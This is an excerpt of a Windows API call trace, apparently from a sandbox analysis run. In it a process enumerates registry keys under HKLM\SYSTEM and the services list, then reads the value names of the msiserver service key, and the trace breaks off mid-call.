[0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f16e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0223.661] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0223.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0223.661] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0223.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0223.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0223.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0223.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0223.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0223.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0223.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0223.662] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0223.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0223.662] RegCloseKey (hKey=0x148) returned 0x0 [0223.662] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0223.662] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0223.663] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0223.663] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0223.663] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0223.663] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.663] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0223.663] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0223.664] RegCloseKey (hKey=0x80000002) returned 0x0 [0223.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0223.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0223.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0223.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0223.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0223.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0223.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0223.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0223.665] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.665] RegCloseKey (hKey=0x150) returned 0x0 [0223.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0223.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0223.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0223.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0223.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0223.666] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0223.666] RegCloseKey (hKey=0x148) returned 0x0 [0223.666] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0223.666] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a48, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0223.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f16e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0223.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a48, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0223.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f16e8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0223.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0223.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0223.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0223.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0223.668] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0223.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0223.668] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.668] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0223.668] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0223.668] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, 